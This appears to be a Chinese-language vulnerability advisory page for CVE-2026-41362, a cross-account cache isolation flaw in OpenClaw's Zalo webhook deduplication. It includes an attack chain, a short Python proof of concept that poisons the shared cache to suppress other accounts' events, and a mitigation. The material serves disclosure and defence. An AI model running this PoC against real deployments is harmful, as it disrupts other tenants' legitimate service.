IPBUF安全漏洞报告
English
CVE-2026-41362 CVSS 4.3 中危

CVE-2026-41362 OpenClaw Zalo Webhook缓存隔离漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41362
漏洞类型
逻辑漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

逻辑漏洞拒绝服务OpenClawWebhook缓存隔离CVE-2026-41362

漏洞概述

OpenClaw 在 2026.2.19 至 2026.3.31 之前的版本中存在不当缓存隔离漏洞。该漏洞源于 Zalo webhook 重放去重机制在多账户部署时共享了缓存。攻击者若控制一个已认证的 webhook 路径,通过构造特定的 event_name 和 message_id 参数,可以利用共享缓存去重机制,抑制其他账户上的合法事件,导致业务中断。

技术细节

该漏洞的核心在于 OpenClaw 处理 Zalo webhook 事件时的去重缓存设计缺陷。在多账户部署环境中,不同账户的 webhook 去重缓存键(由 event_name 和 message_id 组成)被存储在同一个共享的缓存空间中,且未包含账户 ID 或租户 ID 作为隔离标识。攻击者只需要拥有一个账户的 webhook 权限,即可发送恶意请求,其携带的 event_name 和 message_id 与目标受害者即将接收的事件参数一致。由于缓存机制认为该事件 ID 已处理,系统便会丢弃后续到达的合法事件,从而实现跨账户的事件抑制攻击。这本质上是一种利用共享状态的逻辑漏洞,导致了拒绝服务。

攻击链分析

STEP 1
信息收集
攻击者识别出目标系统使用存在漏洞的 OpenClaw 版本,并确认其为多账户部署模式。
STEP 2
获取访问权
攻击者获取至少一个低权限账户的 Webhook 接口认证权限或路径。
STEP 3
构造恶意载荷
攻击者构造包含特定 event_name 和 message_id 的 HTTP 请求,这些参数与目标受害者账户即将接收的事件参数相匹配。
STEP 4
实施攻击
攻击者向自己控制的 Webhook 路径发送请求,由于缓存隔离缺陷,该请求污染了全局去重缓存。
STEP 5
达成影响
当受害者的合法事件到达时,系统检测到 message_id 已存在于缓存中,直接丢弃该事件,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-41362: Improper Cache Isolation in OpenClaw # This script demonstrates how an attacker can suppress legitimate events on other accounts. def exploit_webhook(cache_poison_url, victim_event_name, victim_message_id): """ Simulates sending a webhook request to poison the shared cache. """ headers = { "Content-Type": "application/json" } # Payload matching the victim's expected event parameters payload = { "event_name": victim_event_name, "message_id": victim_message_id } try: response = requests.post(cache_poison_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully sent cache poisoning request.") print(f"[+] Future events with event_name='{victim_event_name}' and message_id='{victim_message_id}' will be suppressed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Attacker's controlled webhook endpoint attacker_webhook_url = "http://vulnerable-openclaw.com/api/webhook/zalo/attacker_account" # Parameters that the victim account expects to receive target_event_name = "user_message" target_message_id = "msg_12345_critical" exploit_webhook(attacker_webhook_url, target_event_name, target_message_id)

影响范围

OpenClaw >= 2026.2.19, < 2026.3.31

防御指南

临时缓解措施
在升级补丁前,管理员应配置缓存前缀或独立缓存实例,确保不同账户的 webhook 去重数据物理隔离,防止跨账户的缓存污染。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表